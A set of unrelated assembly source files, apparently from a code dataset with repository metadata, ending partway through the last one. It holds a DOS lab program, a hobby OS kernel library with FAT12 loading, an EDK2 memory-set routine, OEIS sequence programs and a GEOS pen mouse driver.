esi=vec, returns eax=depth g3_calc_point_depth: pushm edx,ebx,ecx mov eax,[esi].x sub eax,View_position.x imul View_matrix.fvec.x mov ebx,eax mov ecx,edx mov eax,[esi].y sub eax,View_position.y imul View_matrix.fvec.y add ebx,eax adc ecx,edx mov eax,[esi].z sub eax,View_position.z imul View_matrix.fvec.z add eax,ebx adc edx,ecx shrd eax,edx,16 popm edx,ebx,ecx ret _TEXT ends end
20.353623
81
0.728283
7950c57d056ded8bac9e482a8460120ce5d2af9b
860
asm
Assembly
LAB1/LAB1_2_2.asm
m4hi2/microprocessor-lab-codes
5cf367214463150d8f1f733a6f36d1084f63885c
[ "MIT" ]
null
null
null
LAB1/LAB1_2_2.asm
m4hi2/microprocessor-lab-codes
5cf367214463150d8f1f733a6f36d1084f63885c
[ "MIT" ]
null
null
null
LAB1/LAB1_2_2.asm
m4hi2/microprocessor-lab-codes
5cf367214463150d8f1f733a6f36d1084f63885c
[ "MIT" ]
null
null
null
;LAB_1 ;PROBLEM 2: WRITE A 8086 ASSEMBLY PROGRAM TO CHANGE THE CASE OF ;A UPPER CASE LETTER TO LOWER CASE .MODEL SMALL .STACK 100H .DATA MSG1 DB 'ENTER A UPPER CASE LETTER: $' MSG2 DB 0DH, 0AH, 'IN LOWER CASE THE LETTER IS: ' CHAR DB ?, '$' .CODE MAIN PROC ;INITIALIZE DATA SEGMENT MOV AX, @DATA ;GET DATA SEGMENT MOV DS, AX ;PUT THE DATA SEGMENT VALUE INTO DS REGISTER ;PRINT THE STRING LEA DX, MSG1 ;LOADING THE ADDRESS OF MSG1 INTO DX MOV AH, 09 INT 21H ;TAKING THE INPUT MOV AH, 01 INT 21H ADD AL, 20H ;CONVERTING INTO LOWER CASE MOV CHAR, AL ;SAVING THE VALUE CONVERTED INTO LOWER CASE INTO VARIABLE CHAR ;DISPLAY ON THE NEXT LINE LEA DX, MSG2 MOV AH, 09 INT 21H ;EXIT MOV AH, 4CH ;EXIT PROGRAM FUNCTION INT 21H MAIN ENDP END MAIN
22.631579
82
0.638372
03230d42acf382881f11bfb615632bc75fa4633d
10,109
asm
Assembly
kliba.asm
zjhong-umr/myos
fbce70ca226e10cf3741acf2908f48906545794a
[ "MIT" ]
null
null
null
kliba.asm
zjhong-umr/myos
fbce70ca226e10cf3741acf2908f48906545794a
[ "MIT" ]
null
null
null
kliba.asm
zjhong-umr/myos
fbce70ca226e10cf3741acf2908f48906545794a
[ "MIT" ]
null
null
null
; ------------------------------------------------------------- ; kernel library for C ; functions: ; clear() - clear screan ; put_str(str, color, pos) ; put_char(char, color, pos) ; get_char() -- return char ; get_time() -- return BCD-coded time ; ------------------------------------------------------------- public _memcopy _memcopy proc push ax push cx push ds push es mov ax, ds mov es, ax mov bp, sp ;len/dest_offset/dest_base/ori_offset/ori_base/ip/ax/cx/ds/es mov ax, word ptr [bp+5*2] mov ds, ax mov di, word ptr [bp+6*2] mov ax, word ptr [bp+7*2] mov es, ax mov si, word ptr [bp+8*2] mov cx, word ptr [bp+9*2] cpyloop: mov ax, ds:[di] mov es:[si], ax inc di inc si loop cpyloop pop es pop ds pop cx pop ax ret _memcopy endp public _run_file _run_file proc push ax push bx push cx push dx push ds push si push di push bp push es push sp mov ax, cs mov ds, ax mov bp, sp mov ax, word ptr [bp+11*2] mov ds:[BaseOfPrg], ax mov ax, word ptr [bp+12*2] mov ds:[OffsetOfPrg], ax mov bx, offset dgroup:OffsetOfPrg call dword ptr [bx] pop sp pop es pop bp pop di pop si pop ds pop dx pop cx pop bx pop ax ret _run_file endp public _clear _clear proc push dx push cx push bx push ax mov ax, 0600H mov bx, 0700H mov cx, 0 mov dx, 0184fH int 10H pop ax pop bx pop cx pop dx ret _clear endp public _put_str _put_str proc push bp push dx push cx push bx push ax push es mov ax, ds mov es, ax mov bp, sp mov si, word ptr [bp+7*2] ;/pos/color/len/str/ip/bp/dx/cx/bx/ax/es xor cx, cx mov cx, word ptr [bp+8*2] mov bx, word ptr [bp+9*2] mov dx, word ptr [bp+10*2] mov ax, si mov bp, ax mov ax, 1301h int 10h pop es pop ax pop bx pop cx pop dx pop bp ret _put_str endp public _put_char _put_char proc push es push bx push ax mov ax, 0B800h mov es, ax mov bp, sp mov al, byte ptr [bp+4*2] ; /pos/color/word/ip/es/bx/ax mov ah, byte ptr [bp+5*2] mov bx, word ptr [bp+6*2] mov es:[bx], ax pop ax pop bx pop es ret _put_char endp public _get_char _get_char proc xor ax, ax int 16h ret _get_char endp public _get_time _get_time proc push cx mov ah, 2 int 1aH mov ax, cx pop cx ret _get_time endp public _fopen ; /offset/base/file_name/ip _fopen proc mov bp, sp mov ax, word ptr [bp+4] ; 设置准备放入的基地址 mov ds:[BaseOfPrg], ax mov ax, word ptr [bp+6] ; 设置准备放入的偏移量 mov ds:[OffsetOfPrg], ax ; 软盘复位 xor ah, ah xor dl, dl int 13h ; 下面根目录寻找目标文件 mov ds:[wSectorNo], SectorNoOfRootDirectory ; 给表示当前扇区号的 ; 变量wSectorNo赋初值为根目录区的首扇区号(=19) mov ds:[wRootDirSizeForLoop], RootDirSectors ; 重新设置循环次数 LABEL_SEARCH_IN_ROOT_DIR_BEGIN: cmp ds:[wRootDirSizeForLoop], 0 ; 判断根目录区是否已读完 jz LABEL_NO_EXEC ;若读完则表示未找到目标文件 dec ds:[wRootDirSizeForLoop] ; 递减变量wRootDirSizeForLoop的值 ; 调用读扇区函数读入一个根目录扇区到装载区 mov ax, ds:[BaseOfPrg] mov es, ax ; ES <- BaseOfFile mov bx, ds:[OffsetOfPrg] ; BX <- OffsetOfFile mov ax, ds:[wSectorNo] ; AX <- 根目录中的当前扇区号 mov cl, 1 ; 只读一个扇区 call ReadSector ; 调用读扇区函数 mov si, word ptr [bp+2] ; DS:SI -> file name mov di, ds:[OffsetOfPrg] ; ES:DI -> BaseOfExec:0100 cld ; 清除DF标志位 ; 置比较字符串时的方向为左/上[索引增加] mov dx, 10h ; 循环次数=16(每个扇区有16个文件条目:512/32=16) LABEL_SEARCH_FOR_EXEC: cmp dx, 0 ; 循环次数控制 jz LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR ; 若已读完一扇区 dec dx ; 就跳到下一扇区 mov cx, 11 ; 初始循环次数为11 LABEL_CMP_FILENAME: cmp cx, 0 jz LABEL_FILENAME_FOUND; 如果比较了11个字符都相等,表示找到 dec cx ; 递减循环次数值 lodsb ; DS:SI -> AL(装入字符串字节) cmp al, es:[di] ; 比较字符串的当前字符 jz LABEL_GO_ON jmp LABEL_DIFFERENT ; 只要发现不一样的字符就表明本DirectoryEntry ; 不是我们要找的文件 LABEL_GO_ON: inc di ; 递增DI jmp LABEL_CMP_FILENAME ; 继续循环 LABEL_DIFFERENT: and di, 0FFE0h ; DI &= E0为了让它指向本条目开头(低5位清零) ; FFE0h = 1111111111100000(低5位=32=目录条目大小) add di, 20h ; DI += 20h 下一个目录条目 mov si, word ptr [bp+2] ; SI指向装载文件名串的起始地址 jmp LABEL_SEARCH_FOR_EXEC; 转到循环开始处 LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR: add ds:[wSectorNo], 1 ; 递增当前扇区号 jmp LABEL_SEARCH_IN_ROOT_DIR_BEGIN LABEL_NO_EXEC: mov ax, 0 ret LABEL_FILENAME_FOUND: ; 找到文件后便来到这里继续 ; 计算文件的起始扇区号 mov ax, RootDirSectors ; AX=根目录占用的扇区数 and di, 0FFE0h ; DI -> 当前条目的开始地址 add di, 1Ah ; DI -> 文件的首扇区号在条目中的偏移地址 mov cx, es:[di] ; CX=文件的首扇区号 push cx ; 保存此扇区在FAT中的序号 add cx, ax ; CX=文件的相对起始扇区号+根目录占用的扇区数 add cx, DeltaSectorNo ; CL <- 文件的起始扇区号(0-based) mov ax, ds:[BaseOfPrg] mov es, ax ; ES <- BaseOfFile mov bx, ds:[OffsetOfPrg]; BX <- OffsetOfFile mov ax, cx ; AX <- 起始扇区号 LABEL_GOON_LOADING_FILE: ; 此处不输出读取信息 mov cl, 1 ; 1个扇区 call ReadSector ; 读扇区 ; 计算文件的下一扇区号 pop ax call GetFATEntry ; 获取FAT项中的下一簇号 cmp ax, 0FF8h ; 是否是文件最后簇 jae LABEL_FILE_LOADED ; ≥FF8h时跳转,否则读下一个簇 push ax ; 保存扇区在FAT中的序号 mov dx, RootDirSectors ; DX = 根目录扇区数 = 14 add ax, dx ; 扇区序号 + 根目录扇区数 add ax, DeltaSectorNo ; AX = 要读的数据扇区地址 add bx, BPB_BytsPerSec ; BX+512指向装载程序区的下一个扇区地址 jmp LABEL_GOON_LOADING_FILE LABEL_FILE_LOADED: ; ********************************************************************** mov ax, 1 ret ; ********************************************************************** ;----------------------------------------------------------------------- ; 函数:ReadSector ; ax为Sector开始的序号,将cl个sector读入es:bx中 ;----------------------------------------------------------------------- ; 方法: ; 设扇区号为 x: ; ┌ 柱面号 = y >> 1 ; x ┌ 商 y ┤ ; -------------- => ┤ └ 磁头号 = y & 1 ; 每磁道扇区数 │ ; └ 余 z => 起始扇区号 = z + 1 ;--------------------------------------------------------------------- ReadSector: push bp ; 保存BP mov bp, sp ; 让BP=SP sub sp, 2 ; 辟出两个字节的堆栈区域保存要读的扇区数: byte [bp-2] mov byte [bp-2], cl ; 压CL入栈(保存表示读入扇区数的传递参数) push bx ; 保存BX mov bl, BPB_SecPerTrk ; BL=18(磁道扇区数)为除数 div bl ; AX/BL,商y在AL中、余数z在AH中 inc ah ; z ++(因磁盘的起始扇区号为1) mov cl, ah ; CL <- 起始扇区号 mov dh, al ; DH <- y shr al, 1 ; y >> 1 (等价于y/BPB_NumHeads,软盘有2个磁头) mov ch, al ; CH <- 柱面号 and dh, 1 ; DH & 1 = 磁头号 pop bx ; 恢复BX ; 至此,"柱面号、起始扇区、磁头号"已全部得到 mov dl, ds:[BS_DrvNum] ; 驱动器号(0表示软盘A) .GoOnReading: ; 使用磁盘中断读入扇区 mov ah, 2 ; 功能号(读扇区) mov al, byte [bp-2] ; 读AL个扇区 int 13h ; 磁盘服务BIOS调用 jc .GoOnReading ; 如果读取错误,CF会被置为1, ; 这时就不停地读,直到正确为止 add sp, 2 ; 栈指针+2 pop bp ; 恢复BP ret ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; 函数名:GetFATEntry ;---------------------------------------------------------------------------- ; 作用:找到序号为AX的扇区在FAT中的条目,结果放在AX中。需要注意的 ; 是,中间需要读FAT的扇区到ES:BX处,所以函数一开始保存了ES和BX ;--------------------------------------------------------------------------- GetFATEntry: push es ; 保存ES、BX和AX(入栈) push bx push ax ; 设置读入的FAT扇区写入的基地址 mov ax, ds:[BaseOfPrg] ;BaseOfFile sub ax, 0100h ; 在BaseOfFile后面留出4K空间用于存放FAT mov es, ax ; 判断FAT项的奇偶 pop ax ; 取出FAT项序号(出栈) mov ds:[bOdd], 0; 初始化奇偶变量值为0(偶) mov bx, 3 ; AX*1.5 = (AX*3)/2 mul bx ; DX:AX = AX * 3(AX*BX 的结果值放入DX:AX中) mov bx, 2 ; BX = 2(除数) div bx ; DX:AX / 2 => AX <- 商、DX <- 余数 cmp dx, 0 ; 余数 = 0(偶数)? jz LABEL_EVEN ; 偶数跳转 mov ds:[bOdd], 1 ; 奇数 LABEL_EVEN: ; 偶数 ; 现在AX中是FAT项在FAT中的偏移量,下面来 ; 计算FAT项在哪个扇区中(FAT占用不止一个扇区) xor dx, dx ; DX=0 mov bx, BPB_BytsPerSec ; BX=512 div bx ; DX:AX / 512 ; AX <- 商 (FAT项所在的扇区相对于FAT的扇区号) ; DX <- 余数 (FAT项在扇区内的偏移) push dx ; 保存余数(入栈) mov bx, 0 ; BX <- 0 于是,ES:BX = 8000h:0 add ax, SectorNoOfFAT1 ; 此句之后的AX就是FAT项所在的扇区号 mov cl, 2 ; 读取FAT项所在的扇区,一次读两个,避免在边界 call ReadSector ; 发生错误, 因为一个 FAT项可能跨越两个扇区 pop dx ; DX= FAT项在扇区内的偏移(出栈) add bx, dx ; BX= FAT项在扇区内的偏移 mov ax, es:[bx] ; AX= FAT项值 cmp ds:[bOdd], 1 ; 是否为奇数项? jnz LABEL_EVEN_2 ; 偶数跳转 shr ax, 4 ; 奇数:右移4位(取高12位) LABEL_EVEN_2: ; 偶数 and ax, 0FFFh ; 取低12位 LABEL_GET_FAT_ENRY_OK: pop bx ; 恢复ES、BX(出栈) pop es ret ;---------------------------------------------------------------------------- ;============================================================== ;变量 wRootDirSizeForLoop dw RootDirSectors ; 根目录区剩余扇区数 ; 初始化为14,在循环中会递减至零 OffsetOfPrg dw 0 ; 偏移量 BaseOfPrg dw 0 ; 基地址 wSectorNo dw 0 ; 当前扇区号,初始化为0,在循环中会递增 bOdd db 0 ; 奇数还是偶数FAT项 ;============================================================== _fopen endp ;============================================================ BPB_BytsPerSec equ 512 ; 每扇区字节数 BPB_SecPerClus equ 1 ; 每簇多少扇区 BPB_RsvdSecCnt equ 1 ; Boot 记录占用多少扇区 BPB_NumFATs equ 2 ; 共有多少 FAT 表 BPB_SecPerTrk equ 18 ; 每磁道扇区数 BS_DrvNum equ 0 ; 中断 13 的驱动器号 RootDirSectors equ 14 ; 根目录占用空间 SectorNoOfRootDirectory equ 19 ; Root DIrectory的第一个扇区号 SectorNoOfFAT1 equ 1 ; FAT1 的第一个扇区号 = BPB_RsvdSecCnt DeltaSectorNo equ 17 ; DeltaSectorNo = BPB_RsvdSecCnt + (BPB_NumFATs * FATSz) - 2 ; 文件的开始Sector号 = DirEntry中的开始Sector号 + 根目录占用Sector数目 + DeltaSectorNo ;============================================================ public _load_sector ; /S/H/C/Offset/Base/ip/es/bx/ax/ _load_sector proc push es push bx push ax mov bp, sp mov ax, word ptr [bp+4*2] mov es, ax mov ax, word ptr [bp+5*2] mov bx, ax mov ah,2 ; 功能号,ah为0时为软硬盘控制器复位 mov al,1 ; 需要读入扇区数目 mov dl,0 ; 需要进行读操作的驱动器号,软盘为0,硬盘和U盘为80H mov dh,byte ptr [bp+6*2] ; 需读的磁头号,起始编号为0 mov ch,byte ptr [bp+7*2] ; 需读柱面号,起始编号为0 mov cl,byte ptr [bp+8*2] ; 低五位表示起始扇区号,起始编号为1, int 13h pop ax pop bx pop es ret _load_sector endp
22.768018
85
0.544861
a0bdd89bedf89021ab363f9330e40e6550d86f83
1,731
asm
Assembly
MdePkg/Library/BaseMemoryLibMmx/X64/SetMem32.asm
CEOALT1/RefindPlusUDK
116b957ad735f96fbb6d80a0ba582046960ba164
[ "BSD-2-Clause" ]
93
2016-10-27T12:03:57.000Z
2022-03-29T15:22:10.000Z
MdePkg/Library/BaseMemoryLibMmx/X64/SetMem32.asm
CEOALT1/RefindPlusUDK
116b957ad735f96fbb6d80a0ba582046960ba164
[ "BSD-2-Clause" ]
16
2016-11-02T02:08:40.000Z
2021-06-03T21:18:06.000Z
MdePkg/Library/BaseMemoryLibMmx/X64/SetMem32.asm
CEOALT1/RefindPlusUDK
116b957ad735f96fbb6d80a0ba582046960ba164
[ "BSD-2-Clause" ]
41
2016-11-02T00:05:02.000Z
2022-03-29T14:33:09.000Z
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; SetMem32.asm ; ; Abstract: ; ; SetMem32 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID * ; InternalMemSetMem32 ( ; IN VOID *Buffer, ; IN UINTN Count, ; IN UINT32 Value ; ) ;------------------------------------------------------------------------------ InternalMemSetMem32 PROC DB 49h, 0fh, 6eh, 0c0h ; movd mm0, r8 (Value) mov rax, rcx ; rax <- Buffer xchg rcx, rdx ; rcx <- Count rdx <- Buffer shr rcx, 1 ; rcx <- # of qwords to set jz @SetDwords DB 0fh, 70h, 0C0h, 44h ; pshufw mm0, mm0, 44h @@: DB 0fh, 0e7h, 02h ; movntq [rdx], mm0 lea rdx, [rdx + 8] ; use "lea" to avoid flag changes loop @B mfence @SetDwords: jnc @F DB 0fh, 7eh, 02h ; movd [rdx], mm0 @@: ret InternalMemSetMem32 ENDP END
32.055556
85
0.454073
89c19c6f53c3ae10f8bdc9a51e6876465e2b282a
713
asm
Assembly
oeis/280/A280112.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/280/A280112.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/280/A280112.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A280112: Indices of centered 10-gonal numbers (A062786) that are also triangular numbers (A000217). ; Submitted by Jamie Morken(s1) ; 1,19,703,26677,1013005,38467495,1460751787,55470100393,2106403063129,79987846298491,3037431756279511,115342418892322909,4379974486151991013,166323688054883335567,6315920171599414760515,239838642832722877563985,9107552507471869932670897,345847156641098334563930083,13133084399854264843496672239,498711360037820965718309614981,18937898597037342432452268697021,719141435327381191467467900871799,27308436643843447933331327964431323,1037001451030723640275122994747518457 lpb $0 sub $0,1 mov $1,$3 mul $1,36 add $2,1 add $2,$1 add $3,$2 lpe mov $0,$3 mul $0,18 add $0,1
44.5625
467
0.841515
af8b182f11742b74128f6683221b2629efb3e0c8
623
asm
Assembly
programs/oeis/329/A329924.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/329/A329924.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/329/A329924.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A329924: Beatty sequence for (8+sqrt(34))/5. ; 2,5,8,11,13,16,19,22,24,27,30,33,35,38,41,44,47,49,52,55,58,60,63,66,69,71,74,77,80,82,85,88,91,94,96,99,102,105,107,110,113,116,118,121,124,127,130,132,135,138,141,143,146,149,152,154,157,160,163 mov $2,$0 add $2,1 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 mov $7,$0 mov $9,2 lpb $9 sub $9,1 add $0,$9 sub $0,1 mov $4,1 add $4,$0 mul $4,23 sub $4,1 div $4,30 mov $3,$4 mov $6,$9 lpb $6 sub $6,1 mov $8,$3 lpe lpe lpb $7 mov $7,0 sub $8,$3 lpe mov $3,$8 add $3,2 add $1,$3 lpe
16.837838
198
0.521669
772e8a79a92c958969f4a976777efa6ff92a7744
10,552
asm
Assembly
Driver/Mouse/Pqpen/pqpen.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Mouse/Pqpen/pqpen.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Mouse/Pqpen/pqpen.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: MOUSE DRIVER -- Mouse Systems serial mouse FILE: pqpen.asm AUTHOR: Adam de Boor, August 9, 1989 ROUTINES: Name Description ---- ----------- MouseDevInit Initialize device MouseDevExit Exit device (actually MouseClosePort in mouseSerCommon.asm) REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 3/24/89 Initial revision DESCRIPTION: Device-dependent support for Mouse Systems serial mouse. $Id: pqpen.asm,v 1.1 97/04/18 11:48:05 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ _Mouse = 1 ; MOUSE_CANT_SET_RATE = 1 MOUSE_NUM_BUTTONS = 1 MOUSE_USES_ABSOLUTE_DELTAS = 1 DIGITIZER_X_RES = 96 ;96 DPI DIGITIZER_Y_RES = 72 ;72 DPI DEBUG_POQET_PEN = 0 include mouseCommon.asm ; Include common definitions/code. ;------------------------------------------------------------------------------ ; DEVICE STRINGS ;------------------------------------------------------------------------------ MouseExtendedInfoSeg segment lmem LMEM_TYPE_GENERAL mouseExtendedInfo DriverExtendedInfoTable < {}, ; lmem header added by Esp length mouseNameTable, ; Number of supported devices offset mouseNameTable, offset mouseInfoTable > mouseNameTable lptr.char poqetPad lptr.char 0 ; null-terminator poqetPad chunk.char 'PoqetPad Pen', 0 mouseInfoTable MouseExtendedInfo \ 0 ;poqetPad CheckHack <length mouseInfoTable eq length mouseNameTable> MouseExtendedInfoSeg ends ;------------------------------------------------------------------------------ ; VARIABLES/DATA/CONSTANTS ;------------------------------------------------------------------------------ idata segment oldVector fptr.far ; ; Packet format ; ; The reading of a packet is performed by a state machine in MouseDevHandler. ; On any input error, we reset the state machine to discard whatever packet ; we were reading. ; ; The mouse motion is accumulated in newX and newY, while the packet's ; button info is stored in 'buttons' ; newX word newY word buttons byte ; ; State machine definitions ; InStates etype byte IS_START enum InStates ; At start of packet -- byte ; must have have high bit on IS_X_LOW enum InStates ; Expecting X low IS_X_HIGH enum InStates ; Expecting X high IS_Y_LOW enum InStates ; Expecting Y low IS_Y_HIGH enum InStates ; Expecting Y high IS_ERR enum InStates ; Error received -- discard ; until sync byte (not actually ; used since IS_START state ; discards until sync) inState InStates IS_START mouseRates label byte ; Needed to avoid assembly errors. MOUSE_NUM_RATES equ 0 ; We can't change the report rate. if DEBUG_POQET_PEN HACK_BUF_SIZE = 2000 hackPtr word 0 pbuf byte HACK_BUF_SIZE dup (0) endif idata ends Resident segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the com port for the mouse CALLED BY: MouseInit PASS: DS=ES=dgroup RETURN: Carry clear if ok DESTROYED: DI PSEUDO CODE/STRATEGY: Figure out which port to use. Open it. The data format is specified in the DEF constants above, as extracted from the documentation. Return with carry clear. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/29/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseDevInit proc far uses ax, bx, cx, dx, si, di, bp .enter mov di, offset oldVector mov bx, segment MouseDevHandler mov cx, offset MouseDevHandler mov ax, 2 call SysCatchDeviceInterrupt ; ; All's well that ends well... ; clc .leave ret MouseDevInit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseDevExit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Close down. CALLED BY: MousePortExit PASS: DS = dgroup RETURN: Carry set if couldn't close the port (someone else was closing it (!)). DESTROYED: AX, BX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/25/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseDevExit proc far ; ; Close down the port...if it was ever opened, that is. ; segmov es, ds mov di, offset oldVector mov ax, 2 call SysResetDeviceInterrupt ret MouseDevExit endp ;------------------------------------------------------------------------------ ; RESIDENT DEVICE-DEPENDENT ROUTINES ;------------------------------------------------------------------------------ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseTestDevice %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check for the existence of a device CALLED BY: DRE_TEST_DEVICE PASS: dx:si = pointer to null-terminated device name string RETURN: carry set if string is invalid carry clear if string is valid ax = DevicePresent enum in either case DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/27/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseTestDevice proc near .enter clc ;;; call MouseDevTest .leave ret MouseTestDevice endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseSetDevice %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Turn on the device. CALLED BY: DRE_SET_DEVICE PASS: dx:si = pointer to null-terminated device name string RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: Just call the device-initialization routine in Init KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/27/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseSetDevice proc near .enter call MouseDevInit .leave ret MouseSetDevice endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseDevHandler %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: HandleMem the receipt of a byte in the packet. CALLED BY: INT2 PASS: none RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/24/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseDevHandler proc far uses ax, bx, cx, dx, si, di, bp, ds, es .enter call SysEnterInterrupt mov dx, dgroup mov ds, dx ; loop reading bytes and calling FSM readLoop: mov dx, 0x3e8 in al, dx call FSMByte mov dx, 0x3ea in al, dx test al, 1 jz readLoop mov al, IC_GENEOI out IC1_CMDPORT, al call SysExitInterrupt .leave iret MouseDevHandler endp COMMENT @---------------------------------------------------------------------- FUNCTION: FSMByte DESCRIPTION: Handle a byte from the digitizer CALLED BY: INTERNAL PASS: al - byte ds - idata RETURN: none DESTROYED: ax, dx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/15/92 Initial version ------------------------------------------------------------------------------@ FSMByte proc near if DEBUG_POQET_PEN push si mov si, ds:hackPtr mov ds:[pbuf][si], al inc si cmp si, HACK_BUF_SIZE jnz 1$ clr si 1$: mov ds:hackPtr, si pop si endif mov ah, ds:inState cmp ah, IS_START jnz notFirst ; ; Make sure start byte is legal (high bit must be set) ; test al, 0x80 jnz 5$ toError: jmp error 5$: ; treat 0x98 as error (always has data 0) cmp al, 0x98 jz toError ; ; Record button state, change states and return. ; mov ds:buttons, al mov ds:inState, IS_X_LOW jmp done notFirst: test al, 0x80 jnz toError cmp ah, IS_X_LOW jnz notXLow ; ; Expecting X low -- record it and return. ; shl al mov ds:newX.low, al mov ds:inState, IS_X_HIGH jmp done notXLow: cmp ah, IS_X_HIGH jnz notXHigh ; ; Expecting X high -- record it and return ; mov ds:newX.high, al shr ds:newX mov ds:inState, IS_Y_LOW jmp done notXHigh: cmp ah, IS_Y_LOW jnz notYLow ; ; Expecting Y low -- record it and return. ; shl al mov ds:newY.low, al mov ds:inState, IS_Y_HIGH jmp done notYLow: cmp ah, IS_Y_HIGH jnz error ; ; Expecting X high -- record it and return ; mov ds:newY.high, al shr ds:newY ; packet complete -- send it DIGITIZER_MAX_X = 4096 DIGITIZER_MAX_Y = 4096 X_MULTIPLIER = 30800 ; 31018 Y_MULTIPLIER = 25000 ; 28560 mov ax, ds:newX cmp ax, DIGITIZER_MAX_X jbe 10$ clr ax 10$: mov bx, X_MULTIPLIER mul bx mov cx, dx ;cx = x pos mov ax, ds:newY cmp ax, DIGITIZER_MAX_Y jbe 20$ clr ax 20$: mov bx, Y_MULTIPLIER mul bx ;dx = y pos MAX_POSITION_X = 639 MAX_POSITION_Y = 